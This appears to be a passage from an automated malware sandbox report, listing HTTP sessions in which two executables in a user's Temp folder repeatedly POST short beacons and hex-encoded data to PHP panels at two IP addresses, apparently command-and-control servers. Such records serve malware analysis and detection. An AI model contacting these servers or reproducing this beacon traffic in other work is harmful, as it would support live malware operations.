Jun 20, 2024 15:39:17.591970921 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:39:17.808587074 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	49901	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:17.449453115 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:39:18.148971081 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	49902	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:17.928566933 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:39:18.607045889 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:39:18.607969046 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:39:18.822199106 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.5	49903	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:18.157495022 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:39:18.831336975 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	49905	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:18.946249962 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:39:19.618509054 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	49906	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:18.947089911 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:39:19.633846045 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:39:19.634633064 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:39:19.943567038 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	49907	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:19.628386021 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:39:20.310349941 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	49908	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:26.106970072 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:39:26.783901930 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:39:32.039405107 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:39:32.252969027 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	49911	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:49.857575893 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:39:50.551048994 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.5	49914	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:40:10.070425034 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:40:10.733877897 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:40:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.5	49917	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:40:59.928375959 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:41:00.619457006 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:41:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.5	49918	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:41:05.973743916 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:41:06.668608904 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:41:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:41:06.670100927 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:41:06.888973951 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:41:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.5	49919	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:41:14.287727118 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:41:14.977755070 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:41:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:41:21.297342062 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:41:21.511676073 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:41:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jun 20, 2024 15:41:21.754764080 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:41:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.5	49920	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:41:21.756315947 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:41:22.452629089 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:41:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:41:28.426539898 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:41:28.639441013 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:41:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.5	49921	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:41:28.755474091 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:41:29.427649021 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:41:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:41:35.539657116 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:41:35.746249914 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:41:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.5	49922	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:41:33.182893991 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:41:33.877058029 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:41:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.5	49923	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:41:35.864218950 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:41:36.564641953 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:41:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
